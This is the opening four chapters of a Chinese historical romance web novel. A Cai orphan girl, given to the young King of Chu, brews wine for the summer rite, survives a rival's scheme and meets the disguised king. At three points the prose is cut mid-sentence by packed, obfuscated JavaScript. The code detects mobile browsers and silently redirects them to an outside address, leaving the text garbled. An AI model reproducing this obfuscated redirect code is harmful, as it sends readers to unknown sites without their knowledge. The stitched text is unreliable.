《献给国君的美人》 1. 第 1 章 楚国王宫，夏夜。 重重宫门深闭，恢宏中尤显寂静的宫室是国君的寝殿。后面的一排低矮居所，住着侍奉国君的宫女。夜幕低垂，宫女们都已歇下。偶尔从门窗缝隙透出细微的梦中呓语，随即消散在夜色里。 一张狭小的榻上，卧在外侧的人纤薄的似一片绢，突然轻微的挣扎了一下，便哽咽着陷入梦中。 …… “走！阿姮！快走！”阿母满脸是血，声嘶力竭。 她被阿母毅然推了一把。 踉跄间，阿姮忍不住回头。 暗夜，血色火光冲天。茅屋和篱笆熊熊燃烧，钩矛的利刃发出刺目寒光。山贼挥舞长矛，扎向前来救助的邻人。夜风卷起热浪，裹挟血腥气迎面扑来。痛苦的呼号声，在耳边回响，久久不绝。 阿姮死死的捂住嘴，不让自己的哭声泄露出来。 茅屋、篱笆，阿父和邻人相继倒下的身影，全都融入一片模糊的血色中。 “快逃啊！阿姮！”阿母仍在焦灼的催促。 梦中的画面突然一转，变成深秋时节，一个少年，挽弓执箭破开浓雾。 少年神情恣意，唇边挂着几分漫不经心的讥诮笑容。 “逃不掉的。”他轻启薄唇，微眯起眼睛，一手将箭簇搭到弓上。 箭簇所指的方向，分明是跌倒在树林中的阿姮！ “王上！”阿姮惊惧的叫起来。 就在这时，梦醒了。阿姮遽然从榻上坐起。 这里是楚国王宫，不是远在蔡国山中的村落。 “阿姮，你怎么了？”和她睡一张榻的覃女揉着眼睛，迷迷糊糊的问。 阿姮忍住眼底的酸涩，低声说：“适才被梦魇住了，天色还早，你再睡片刻吧。” 她满怀歉意的说完，悄然起身。谁知覃也从榻上爬起来，两人相视而笑。同寝一室的另外两个宫女犹自睡得香甜，阿姮和覃轻手轻脚的换上衣裳，静悄悄的推开门。 凉爽的夜风轻拂，身上黏热的暑气顿时消散。 远离了居所，覃朝阿姮眨了眨眼，说：“你刚才在梦里叫‘王上’，我都听见了。” 阿姮脚步微缓，抬头望向百步开外楚王的寝殿。庞大的庑殿顶由数十根巨木撑起来，空旷的殿宇仿佛一头沉睡的巨兽，即将睁开眼睛，令人望而生畏。 “我梦见凶险之事，祈望大王庇护，一时情急口中失言。”她的声音单薄恍惚。 没有人庇护。 她的父母和邻人都死在去年的夏夜。转眼已是一年。 那个夜晚，她从被山贼屠杀的村子里逃出来，不知道该去向何处，浑浑噩噩的，朝着阿母拼命将她推出去的方向，一路往南走。还没走出蔡国边境，就染疾倒在荒野。 也是在那时候，楚国先君薨逝，先君唯一的儿子太子渊即国君位。蔡国国君蔡侯派使者出使楚国，向新任楚王进奉贺礼。 蔡使一行人在南下的路上遇到寒病交加奄奄一息的她，将她救下。她无依无靠，做了蔡使的侍女，随使团来到楚国，后被献给楚国的新君芈渊。 阿姮见到芈渊时的情景，和梦中一样，他举起弓箭，朝向她和同行的蔡使等人。 那日芈渊在郢郊狩猎，他命王卒将蔡国使团的人通通赶入猎场，看他们像野兽一样仓皇奔逃，供他围猎取乐。 芈渊对蔡国使团极尽羞辱，只为了报复蔡侯对他的不敬—— 本应该进奉给楚王的贺礼被蔡侯送给了晋国。 自从周王室迁都洛邑，虽然周天子名义上还是天下共主，然国力衰弱。天子式微，诸侯势大，其中尤以楚晋二国最为强盛。楚国是南方的强国，历来以蛮夷自居。自芈渊的高祖始，楚国国君便擅自僭越称王，不敬周王室。晋国则是北方的霸主，打着“尊王攘夷”的旗号扩张势力，和楚国时有攻伐。蔡国夹在两个大国中间，左右为难，如履薄冰。 芈渊即位，晋国胁迫蔡侯，命蔡侯将给楚国的贺礼转送到晋国去。蔡侯不敢拒绝晋国，也不敢得罪楚国，两相权衡之下，最终选择开罪楚国。 蔡侯有自己的考虑。楚国新君只是一个弱冠少年，楚国的朝政还把持在楚国公卿手中。等蔡使到了楚国，向楚王奉上珍玩和美女，再以财货和利害关系游说楚国公卿，请他们帮蔡侯说上几句好话，蔡国的祸事便可消弭。 谒见楚王的那天早上，蔡国使团为阿姮精心修饰妆容，以期蔡国美人的风姿能惊艳楚王的眼睛，软化楚王的意志。 那天，阿姮穿上了最为柔软艳丽的裙裾，紧束出纤柔可握的腰身。 她也曾想过，要竭力报答蔡使的救命之恩。 可事与愿违。蔡侯和使团都低估了楚王的脾气和手段。 楚王芈渊没有给蔡使申辩的机会，二话不说就将使团的人丢入猎场。 她被豺狗追赶扑倒在地，对上那双矜傲不屑的眼睛时，那一刻，她美丽的脸上只剩下惊慌和狼狈。 * “阿姮，你是不是喜欢大王？”覃的语气笃定。 阿姮从往事中回过神。 怎么可能。 她柔声说：“大王威仪赫赫，我像楚国子民一样敬仰他。但是我又非常害怕，蔡国犯了错，使王上不悦，我时时惶恐，唯恐哪里做得不好被责罚。” 说起责罚，覃变得愁眉苦脸。她也怕。 国君姿仪出众，容颜极盛，本是王城所有妙龄女子钦慕的对象。起初，王宫的宫女几乎个个都怀了一颗荡漾的春心。后来，只见连阿姮这样的美人都差点命丧大王的弓箭下，谁还敢想入非非呢。 天光初露，东方的鱼肚白变化多端，给庑殿顶覆上了一层霞光，也将阿姮仰望天际的侧脸清晰的勾勒出来。 一排鸦黑的睫毛柔柔的翘着，霞光从她脸上宛转掠过，被吸入眼瞳中。黑如曜石的眸色和晨光交织，给她本就姣美的脸庞平添了一抹凄艳。 覃看呆了。阿姮可真美啊，像玉一样美得发光，虽然她平日总是垂着眼皮低着头，比任何人都要寡言少语，可在泯泯众人中总能让人一眼就注意到她。 “阿姮，你这般貌美，连女子看了都会动心，你说大王莫不是有眼疾，他……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319377|167406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 覃还没嘀咕完，阿姮伸手捂住她的嘴，拖着她进入庖厨。没多久，庖人也来了。 陶甗架到火灶上，鬲中的水煮沸，直冒热气。覃被热烘烘的蒸汽闷得喘不过气，不停的拿手扇风。 阿姮面不改容，一一仔细的查看簠簋中盛放的新稻。稻谷去了壳，精挑细选过的稻米，颗颗饱满，泛着莹白的光泽。庖人将她查看过的稻米放到甗上，置于煮沸的热水上蒸制，以做酒酿。 忙完这些，阿姮又和庖人把已经酿好的酒浆盛入缶中，着寺人送到巫庙，请司巫验看。 * 数月前，楚王芈渊率王卒出宫巡狩。 前不久，王卒传信回来说，王上不日将返回郢都，主持夏祭大典。 这些日子，众人忙得脚不沾地，洒扫寝殿，擦拭器物，准备祭礼用的祭品，一刻也不敢怠慢。 楚人崇尚巫祭，一年四季，春夏秋冬各有祭典。王上归来，正逢夏祭。楚王将率领公族和卿大夫在郢都城外的郊野举行祭典，祭祀先祖和神明。 祭典上要用到大量的稻酒，阿姮和覃被指派到庖厨，专司酿酒一职。 楚国地处中原以南，沃野千里，盛产稻谷。时下正是夏稻成熟的季节，农夫收割好稻子，一部分存入仓禀，一部分打去稻壳，送入王宫做今年的新酿。 在炎炎夏日里的庖厨酿酒，就像时刻身处沸腾的铜鼎，是最辛苦不过的差事。 在庖厨呆了大半日，覃热得受不了，直说要跳到江水里泡着，再也不出来了。 “快了，今天是最后一日，”阿姮安慰她，也给自己鼓气，“天越热，酒浆醸酵起来就越快，再忍一忍。” “万一司巫觉得不好……”覃皱起眉头，担心的欲言又止。 她和阿姮到庖厨主理酿酒时，才发现酒曲在春祭时就已经用完了。春祭过后，王上离开王城巡猎，宫中没有举行过宴饮，也无需时时酿酒，以致酒曲告罄一事竟无人提及。 没有酒曲，再好的稻米也无法酿出酒浆。制作新的酒曲最快也要一旬，根本赶不及祭典。 覃急得团团转，阿姮去了一趟酒窖，回来后说她找到了最快做出酒曲的方法。 阿姮忍着酷热在庖厨忙了数日，终于做出了酒曲。她们赶紧洗稻蒸稻、用新制的酒曲醸酵酒浆。 如今就看送去巫庙的酒浆能否让司巫满意…… 覃不安的吸了口气，焦急的踱步。祭典最重要的一件事就是酿制稻酒，差使办得好会得到国君的嘉奖，还有丰厚的赏赐，但是倘若出了差错……她不敢想。 阿姮拿起一柄长匙，从盛满酒浆的铜罍中舀了一匙晶莹透亮的酒液，递到覃面前。 淳厚的香气在覃的鼻子尖弥漫开来。 阿姮冲覃微笑：“不会出差错，我还等着领大王的赏赐呢。” “你呀，”覃接过长匙，深深的吸了一口浓郁的酒香，凑到阿姮耳边小声说，“你还说你不喜欢大王！” 她又想岔了，阿姮摇头笑了笑，不做辩解。 覃不知道，她所求的从来不是成为楚王的嫔妾。 2. 第 2 章 她怨恨那些杀害父母和邻人的山贼，恨极了。 蔡使申叔偃答应过她，等他回到蔡国，定会帮她缉拿那些寇贼，为她的亲人报仇。 眼下使团被扣押在郢都，申叔偃被楚王以楚国客卿的身份遣往晋国出使。 申先生一去死生未明，如同流放，阿姮探听不到任何消息。被扣留在郢都的蔡国使团终日忧惧，不知何时才能返回故国。 申叔偃和使团能否平安回蔡国，全在于楚王。 阿姮暗下决心，无论如何也要请求楚王改变心意，央他放过申先生和使团。 可是谈何容易？ 迄今她和芈渊只在郢郊猎场见过一面。只要一想起当时的情景，眼前浮现出他那讥诮的笑容，阿姮的心就不安的缩到一处，无法平静。 无论是对待蔡国使团，还是对她，芈渊的所作所为都令人无法捉摸。 那日在猎场，阿姮以为自己必死无疑。 豺狗将她扑倒的一刹那，芈渊挽弓一箭射杀了那只凶兽。 那一箭，带着尖锐的风声，从阿姮眼前掠过，钉入豺狗满是獠牙的血盆口中。 阿姮至今想起来仍心有余悸，她想不明白楚王为何会突然出手救她。 众人以为国君被蔡女的美色所惑，可又并非如此。阿姮入宫后，芈渊从未召她侍寝，似乎全然忘了王宫有这么一个人。在不久之后，他就率王卒离开郢都，以巡狩之名四处游猎去了。 芈渊对她没有半点兴趣。 阿姮茫然无措，不知道该怎么办。 又过了数月，楚国的夏祭开始，楚王将归。 覃跟她说，夏祭最重要的祭物是稻酒，往年凡是参与酿酒的仆役，不论宫女寺人和庖人，都会得到国君额外的赏赐。 阿姮刚意识到这或许是个机会，督造酿酒的事恰巧就落到她头上。 虽然后面有些不顺利，在酒曲上出了一点小小的差池，所幸已妥善解决，不会耽误祭典。 * 这日阿姮安慰覃后不久，给司巫送酒浆的寺人回来，说新酿可以备用了。 覃拍着胸口，由衷的感叹：“阿姮，还好有你。” 阿姮也松了口气，连忙和覃一起看护庖人把酒浆运送到酒窖去。 酒窖外突然来了很多人，其中有不少风尘仆仆的王卒，身后跟着数辆牛车。还有一老一少两个身着曲裾华服的女子，站在人群中间。 满头银发的老妇人是掌管宫中事务的薄媪。另一个看起来和阿姮差不多大的少女，是楚国上卿大夫景梁之女景稚。 阿姮认得她。到宫中来向宫女分派祭典各项事务的就是景稚。宫女们私下说，景女是未来的王后。 领头的百夫长正在说话：“大王已到郢郊，命我等即刻将祭品和冕服礼冠运送到营地。” 阿姮等人加快脚步，朝众人走去。 薄媪听了王卒的话，有些惊讶，说：“王上巡狩数月，想必舟车劳顿，何不回王宫休憩几日再行祭典？” 王卒开口正要回答，景稚微笑打断：“王上对我父说，楚人先祖起于贫瘠山林，不畏艰难开疆辟土，方建立今日楚国之基业，王上一日不敢忘先祖之志，岂可贪图个人安逸。” 薄媪肃容称“善”，道：“国君勤勉，实乃我楚国之幸。” 薄媪很清楚，王上虽然年少，但绝不像外人看到的那样，只知道游猎和玩乐。他实则是个非常强势且有手腕的人，有自己的想法，从不受他人摆布。 “老媪所言极是，”景稚扶住薄媪的手臂，接着笑道，“祭礼上所用之物，都已备好，只不过——” 景稚突然话锋一转，朝向匆匆赶来的阿姮和覃，带着质问的口气道：“听说庖厨已无酒曲可用，尔等为何不及早禀报？酿不出稻酒，误了祭礼时辰，按罪当诛！” 薄媪大吃一惊：“这么大的事，怎么没听你二人说起？” “我们酿出来了！不会耽误祭典的！”覃着急的上前一步，想起阿姮，又回头把她拉过来，“是阿姮！阿姮制出了新的酒曲！” 百夫长和王卒转头看去，名为阿姮的少女一身粗布褐衣，雪白的脸庞透出潮红的汗意，仿佛一朵被露珠浸润的小花，怎么看也不像酿酒经验丰富的庖人。 面对众人狐疑的目光，阿姮顾不得擦汗，侧身让出通道，庖人抬过来几个大铜罍，置于众人面前。 阿姮说：“酒浆已经酿好，司巫业已验看过，请过目。” 百夫长不由分说走上前，揭开铜罍的盖子，一股淳香扑鼻，再定睛一看，罍中的浆液清澈透底。 他不由大声赞道：“此浆甚好！吾恨不能即刻就请王上赐酒！” 薄媪仔细端凝了几眼酒浆，微微点头，又上上下下把阿姮打量了一番，眼角余光瞥到表情僵硬的景稚，心下了然。 果然，景稚仍不满意，问：“司巫验看时可曾尝过？” 阿姮摇头答道：“不曾。” 众所周知，酒浆不能直接饮用，需要兑清水调和。且用于祭典的酒酿，和祭肉等供品一样，祭礼结束前不可食用，否则就是对先祖的不敬。祭典完毕，由国君分赏给公卿贵族和将士，或在宴席上以清水调制温煮，方可畅饮。 景稚轻笑，道：“蔡女短短几日就制出酒曲，醸酵出酒浆，其巧思急智着实应该嘉奖。只是，从未使用过的酒曲酿出来的酒浆，不知其味是酸是涩？怎可贸然呈给大王？” 她这么一说，百夫长也犹豫起来。他是好酒之人，见过不少表面又亮又香的好酒，品尝起来却难以下咽。 阿姮垂着头，心里像砸了块大石，沉了下去。她有些明白了，为何景稚会指派她主理酿酒，酒曲又为何正好用完了。 如果她没有赶在祭典前酿出酒浆，今日就是她的死期吧？ 阿姮打了个寒颤。 “景女以为该当何如？”薄媪不紧不慢的问。她是老了，但是还没到糊涂的地步。蔡女颜色娇丽世间少有，景女算计蔡女，其目的不言而喻。酒浆一事，想来景稚心里早就有盘算了。 景稚就等薄媪这句话，说：“自从阿父令我协助老媪准备祭礼，我不敢懈怠，王上传信回来时，我就叫家中庖厨多酿制了几罍今年的新稻酒，以备万一。” “如此甚好，”薄媪颔首，自责道，“说来是老妪疏忽，耳昏目聩垂垂老矣。待夏祭过后，老妪该向王上告老请辞了。” 薄媪侍奉过三代国君，是宫中资历最老的女官。芈渊体恤她年迈，允许她在宫外另置宅院居住，非要紧事不用到王宫当值。这回有景稚从旁协助，她稍微有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319378|167406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所松懈，就出了纰漏。看来不服老都不行了。 景稚忙勉励了一番薄媪，说她劳苦功高，着实辛苦。 眼看景稚就要带王卒到景宅去取酒罍，阿姮心一横，拦住她。 “且慢！我所用制作酒曲之法，非我之能，乃出自楚国先祖！大王既秉承先祖之志，正当以此酒为奠！” 景稚叱道：“我从未听说过吾国先祖有这样的办法，你又是从何处得来的？满口胡言！” “景女勿要动怒，”薄媪先是安抚景稚，而后笑眯眯的对阿姮说，“蔡国以粟黍为食，鲜少食稻谷，也不做稻酒。老妪方才就颇为好奇，蔡女用的什么法子，短短几日就制出酒曲。” 阿姮对上薄媪爬满皱纹的眼角，心中升起希望，忙说：“我并非妄言，此法的确来自楚国先王铭刻于酒罍上的记载，就在酒窖里。” 薄媪露出惊奇之色，说：“哦？带我去看看！” 阿姮领薄媪进入酒窖。 景稚和百夫长半信半疑的跟进来。 阿姮所说的酒罍是一个废弃多年的铜罍，罍的内壁上首刻着一圈已趋于模糊的字形纹样。阿姮指着这一圈纹样对薄媪等人解释说，看文字记载，约莫是楚王的高祖父自立为王时，王宫中一个庖人为王酿酒，无意发现了一个制作酒曲更快的窍门，得先王赞赏，先王令铸匠纪录在罍上。 “是殷商的铭文，”景稚难以置信的看向阿姮，“你识得铭文？” 前朝殷商将铭文刻于铜器，王朝更迭，姬周代商，铸匠为周天子铸铜器时，仍沿用殷商铭文。周王室东迁后，王室衰弱，铸匠不继，殷商铭文一部分被延续下来，一部分已失传。一个百年接着一个百年过去，诸侯国先后形成了自己的篆书，能通识前朝铭文的匠人寥寥无几，几尽绝迹。 景稚作为上卿大夫之女，在家中也涉猎过书简，这个铜罍上的铭文依稀能辨认出几个，但是大部分都不认得。 而这个蔡国来的少女，竟然从这尊百年前的铜罍上，发现了楚国先人曾经用来做酒曲的方法。 几双眼睛惊异的盯着阿姮，就连薄媪浑浊的双目都透出光亮。 “先祖有灵，这是天意，天意啊，”薄媪连声喟叹，又问阿姮，“你是蔡侯奉给我王的乐伎，何以识得铭文？” 如今能识得殷商铭文者不多，不是出身贵族的士，就是百工中的铸匠。 “阿父生前曾做过匠人，他在沙地书写铭文传授给徒弟，我在一旁观看，跟着识得了一些。” 她的阿父素来慷慨，农闲时帮邻人打铁具，收邻人之子为徒，倾囊传授手艺，从来不收邻人的钱财。所以那晚山贼来袭，邻人不惧危险跑来帮忙，结果都葬身在山贼的利刃下。 阿姮垂下头，眼圈微微发热。薄媪说楚王先祖有灵，对她来说，是她的阿父阿母在上天庇佑她，指引她看到铜罍上的铭文。 原来蔡女是铸匠之女，薄媪了然颔首，对百夫长说：“将蔡女所酿酒浆送到祭典上，若大王怪罪下来，老妪一力承担。” 阿姮和覃从庖厨带来的酒罍还没来得及入酒窖，就被百夫长和王卒直接搬上牛车。 景稚一脸不悦却又无话可说，拂袖离去。 “阿姮，”薄媪伸出手臂示意阿姮搀扶，“汝随我去郢郊。” 3. 第 3 章 运送酒罍的王卒很快离开。做膳食的庖人乘坐牛车，宫女和寺人结成宛如长蛇的步行队伍，跟随开道的执戟兵卒，趋步向城外行进。 阿姮随薄媪坐上马车出城，不久就将徒步而行的宫女和寺人抛到后头。 等覃随步行队伍到达祭台附近的营帐时，天色已黑，也过了饭时。阿姮提前从营中庖厨取了糕饼在等她。覃大口大口的将糕饼塞到嘴里。 “阿姮，你真好！”覃感激的眼泪汪汪。 阿姮舀了一瓢清水递给她喝，“别噎着。” 覃本来还有很多话想问阿姮，等阿姮把两人的寝具铺好，她一沾枕榻就合眼睡了过去。 一觉醒来，天刚蒙蒙亮，帐外已是人声喧杂。覃一个轱辘爬起来，她还得去清扫祭台。阿姮没有新的事务可做。覃打了个哈欠，问：“薄媪可曾给你指派了差事？” “不曾，我和薄媪刚到营地，她就被司巫的人请走了。”阿姮的嗓音和往常一样温软，柔媚的眼眉着染了淡淡笑意。 她没想到，自己会得到薄媪另眼相看。 覃朝阿姮挤眉弄眼，打趣道：“阿姮，你以后是不是不跟我同寝了，得去侍奉大王呀？” “我们不都是来侍奉大王的？”阿姮说完，突然明白过来覃说的“侍奉”是什么意思。 阿姮愣住。 她没往那方面考虑。 被献给楚王时，她以为自己只能以美色侍人。 被楚王一脸不屑的看穿，她的惶恐不安远大于羞耻。 后来，孤身一人在陌生的异国王宫挣扎求生，忍受楚国宫女的白眼和排挤，做她们嫌累嫌辛苦的差事……无论面对什么样的境遇，她都咬牙面对，挺了过来。经过被景稚刁难的事后，她更加觉得没什么可畏怕的了。 除了，楚王芈渊。 可是为了申先生和使团，她终究还是得面对楚王。 阿姮抿了抿唇，柔声说：“大王要不要我侍奉，不是我能决定的，我们做好份内的事就好。” 楚王想要的话，早就要了。 “你说得也对啊，”覃不再纠结阿姮的去留，转而雀跃的说，“阿姮你和我们去清扫祭台吧，难得出来一趟，不去看看可惜了！” “我也是这么想的。”阿姮笑着点头。 楚国的夏祭是个非常盛大的庆典，在这几天里，国君除了祭祀先祖，还要设宴赏赐公卿大夫、款待从封地来的王族，歌舞鼓乐数日不休，有的公卿还从家中带来庖人和宠爱的妾侍。相比于王宫中，宫女和寺人走动也更自在些。 * 阿姮和覃等人起得早，清扫完祭台，清晨的第一缕阳光才洒落下来。 以夯土砌成的祭台在郢都郊野，环绕在石头和栅栏里，北靠山陵，南临江水。随着阳光普照，空旷的郊野变得热闹起来。熙来攘往的人群中，宫女和寺人来回穿梭，表情严肃的王卒在营帐间执戟巡逻。 祭台旁的空地上，司巫手下的若干巫人正在训练歌舞。巫人个个孔武有力，赤着两膊和上半身，只在胯间覆了一片短裈遮蔽下腹。他们的脸上戴着漆木面具，面具上挖了几个孔洞，露出眼睛和口鼻，口中时而高唱时而低吟，且歌且舞。 巫人奔放又奇异的装扮和舞姿吸引了众人的目光，走在路上的宫女纷纷停下脚步，看得着了迷，对巫人品头论足起来。宫女们一时说这个胸膛宽阔，一时又夸赞那个腰胯雄壮，若面具下的容貌也和他们的身材一样美而壮，便是让她们自荐枕席也未尝不可。 覃跟阿姮耳语：“营地旁就是树林……” 阿姮红着脸捂嘴偷笑。私底下，覃给她讲过一些道听途说来的轶闻，听说往年巫祭中，就有宫女和巫人互相看对了眼，情难自禁，就在祭台旁的树林里野合了。 姑娘们吃吃笑个不停，巫人们的歌舞更加卖力，将地面踩踏得尘土飞扬，充满夏日的火热气息。 这时，一个仆女沿着小路走过来，对阿姮说：“我家鹂夫人有请。” “阿姮！”不远处的树下，一个盛装丽人娇声朝阿姮呼唤，一边迈着碎步，腰肢款摆的走来。 “鹂阿姊！”阿姮眼前一亮，小跑迎上去。 走到跟前，两人紧紧揽住对方的手臂，还没说话，双双红了眼眶。 “阿姮，我知道你在王宫吃了许多苦，”丽人哽咽开口，“申先生叫我关照你，我却一点忙也帮不上。” 她脸上露出惭愧的神色。 “阿姊莫要自责，我很好！”阿姮飞快的揉了揉眼睛，把覃拉到身旁，笑着介绍道，“这是阿覃，她是楚人，阿覃教了我很多，也很照顾我！” “这就是你常说的阿鹂姊姊啊，”覃赞叹道，“你们蔡国女子都这么好看。” “不好看的，我们蔡侯也不敢给贵国送来呀！”阿鹂平复激动之情，戏谑道。 当初，蔡国使团带了两个美人出使楚国，一个是阿鹂，另一个美人在半路上水土不服，还没走到楚国就病重而夭。 蔡国本就得罪了楚王，原本应该送往楚国的两位美人又只剩下一个，使团将要面临的处境更加艰难。阿姮感念申叔偃的救命之恩，甘愿顶替亡故的美人，和阿鹂一起被献给楚王。 本以为两人可以在楚王的宫中做伴，彼此有个依靠。哪知那日猎场过后，阿鹂被楚国令尹昭伯讨去，做了昭伯的妾。 “令尹虽说宠爱我，但从不予我插手外间的事。可这回，令尹便是不带我出门，我也要跟来的！妹妹及笄的重要日子，我无论如何也应见妹妹一面。” 覃听了阿鹂的话，吃惊的说：“阿姮，你比我还小呢？” 阿姮的身量比她们都更为高挑，隐匿在粗糙褐衣下的一身肌肤雪白柔腻，胸臀曲线凸凹有致，常常令宫女们羡慕不已。 而覃年纪小个头矮，经常被别的宫女戏弄乃至欺压。阿姮入宫以来，默默的帮了她好几回。在覃眼中，阿姮性情和顺，做事稳重。覃喜欢跟她一起做事，也愿意听从于她，可没想到她比自己的年龄还小。 “我都忘了！阿姊竟然还记得！”阿姮拿手覆脸，难为情的搓了搓脸庞。 “阿姊，我今早还在想，如果能见到你就好了！”阿姮跟阿鹂撒完娇，又冲覃俏皮的笑道，“阿覃莫要小看我，过了今日，我就和你一般大了。” 覃还不曾见过阿姮这般稚气可爱的模样。自从见到她的鹂阿姊，她就像陡然变了一个人，笑容灿烂，明媚活泼。这样的阿姮，才是一个及笄之年的少女应有的模样啊。 阿鹂的仆女在林中草地铺上毡毯。阿鹂从怀中取出一对玉笄，笑眯眯的示意阿姮坐到毡毯上。 “鹂夫人为你簪笄，我为你梳髻。”覃从仆女手中接过骨梳，为阿姮梳了一个在楚国少女中最时兴的双鬟。两支玉笄被一左一右的插到发髻上，玉色生辉。 “阿覃，阿鹂姊姊，谢谢你们。”阿姮的唇瓣微微颤抖。她眨了眨眼睛，把泪意压下去，唇角上扬，朝覃和阿鹂展露笑靥。 晨曦穿过树叶间隙洒到林中，落到阿姮含笑的脸庞上，给宝石般光滑的脸庞披上一层浅金色的薄纱，散发出既柔美又艳丽的光泽。 * 她们沉浸在笄礼的喜悦中，没察觉树林边突然出现几个头戴面具的男子，目不转睛朝阿姮眺望过来。 “琼枝郁郁，朝露晞晞，含睇兮美人，可与吾同归？” 响亮的吟诵声划破林空。 众女惊得抬头，只见几个人阔步穿过树林，很快就来到她们面前。 他们脸上覆着漆木面具，穿戴的比正在祭台旁操练的巫人整洁多了，手里还拿着弓箭，看模样是演练狩猎乐舞的巫人。 这几人突然出现，高大壮硕的身躯形成了一堵墙，挡住了阳光，在阿姮面前投下一片黑压压的阴影。阿姮从毡毯上站起来，抿唇收起笑容。 刚才吟诵诗句的人，从脸上摘下面具，十七八岁的模样，浓眉大眼，英气勃勃。 “我叫肱，我王股肱之臣的肱，”他眉目含笑，满怀热忱的望着阿姮，“请问姑娘芳名？” 肱的话音刚落，一声疑似嗤笑的哼声从他身旁玄袍男子的面具下逸出来， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319379|167406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似乎在嘲笑他的同伴轻浮。 不屑的轻呵，莫名熟悉。 阿姮心中一突，她抬头悄悄扫了一眼玄袍男子，男子身姿挺拔，伟岸魁梧不亚于肱。透过森然嶙峋的面具，呈现出一双深邃如墨的眼瞳，眸光漠然，辨不出情绪和喜怒。 “大胆巫人！”阿鹂把阿姮拉到自己身后，一脸愠色，“我乃令尹昭伯家中妾妇，她们是侍奉大王的宫女，岂是尔能觊觎的！” “宫女？”肱眼中的笑意变成愕然。 这个身穿粗布褐衣的少女，他本以为她是哪个卿士大夫家里的仆女。他离开郢都一年，此次回来向王上述职。刚才和大王在林中会面，无意瞥见一个简陋的笄礼，还有一个笼罩在晨光里笑靥如花的姑娘，少年之心顿时沦陷，故而上前来打听。 竟是宫女？以前从未见过。他和大王自幼一道飞鹰走狗，自是知晓大王喜田猎不好女色，即位后从未令民间甄选美人入宫，不知道这个姑娘是哪个诸侯国送来的。 肱拿眼角瞥了玄袍男子一眼。 玄袍男子松松垮垮的立在一旁，不发一言，手中把玩箭簇，一副置身事外的模样。 如此佳人，大王视而不见，王上的雄心壮志果然非一般人可比，肱自认不如。 肱面向阿姮拱手作揖，笑意又浮上眼底，道：“小民失礼，刚才见几位在林中行笄礼，正宾和赞者齐全，单缺少一位巫者，肱不才，愿为姑娘祷祝。” 这个巫人倒是识趣，阿鹂和覃的脸色和缓下来。 “不必了。”阿姮拒绝，挽起阿鹂和覃的手就要离开。 阿鹂脚步踯躅，显然对巫人的提议有些动心，覃也半信半疑的问：“你当真能占卜？” 肱连忙点头：“那是自然！幼鹰在长成猛禽之前便会捕食，司巫座下的巫人没有不会占卜的！” 他说得不假，司巫手底下的巫人或多或少都会卜卦。但他没告诉她们，他其实不是巫人。 几个女子缓缓停下脚步。阿姮顿时想到了别处，不知能否请个可靠的巫人为申先生和使团卜个吉凶？在楚国，司巫是最擅长卜筮之人，还拥有极高的医术，最受楚人尊敬，但司巫只为与国君和社稷相关的大事卜筮，她请不到。 阿鹂以为阿姮也有所动摇，对肱说：“祷祝就不用了，你可否为我阿姮妹妹占卜？” 肱在心中默念了几声姑娘的名字，毕恭毕敬的问道：“不知夫人想为阿姮妹妹卜算何事？” 阿鹂忧心忡忡的看了眼阿姮，对他说：“我想算一算，阿姮何时能得到王上宠幸？” 肱瞪圆了眼睛，僵直的扭着脖子转向一旁的玄袍男子。 玄袍男子身形一凛，雕刻着诡异表情的面具下，又是微不可闻的一声轻嗤，低低的飘入阿姮的耳朵。似曾相识之感越发强烈，让她隐隐不安。 “阿姊！我们走吧！我不要占卜！”阿姮蛾眉微蹙，叫起来。 覃直摇头叹气：“你啊，什么都闷在心里！也不知是谁，夜里做梦都在喊王上！” “竟有这样的事？”阿鹂感到惊奇，忍不住失笑。 “千真万确！”覃重重点头，“鹂夫人，您不晓得大热天酿酒有多辛劳，阿姮从领了这趟差事就没安稳一天，只盼大王能看到阿姮的一片心意……” 覃越说越不像样，阿姮解释不清，甩开她们的手臂，娇嗔道：“不理你们了！” 她径自走了。阿鹂只当她害羞，顾不得找巫人卜卦，忙叫仆女收了毡毯，和覃匆匆的跟上去。 肱的目光从震惊到呆滞，良久，如梦初醒，从阿姮远去的背影收回视线，酸溜溜的开口：“王上，您刚才都听到了吧，阿姮姑娘她……” “寡人的耳朵没聋。”一道冷淡的声音从漆木面具下传出来，打断肱的话。 一身玄袍、以巫人面具覆面的，正是楚王芈渊。 他懒洋洋的把面具扯开丢给身后的侍卫，露出一张棱角分明的俊美面孔。 几绺碎发从发冠中散落下来，垂在少年精致的眉骨旁，勾勒出一脸的散漫，矜傲，凉薄。 4. 第 4 章 林中不再有外人，芈渊席地而坐，从侍卫手中接过一把带鞘短剑。他正待开口，肱弯腰屈膝，单膝跪在他面前，抢先说道： 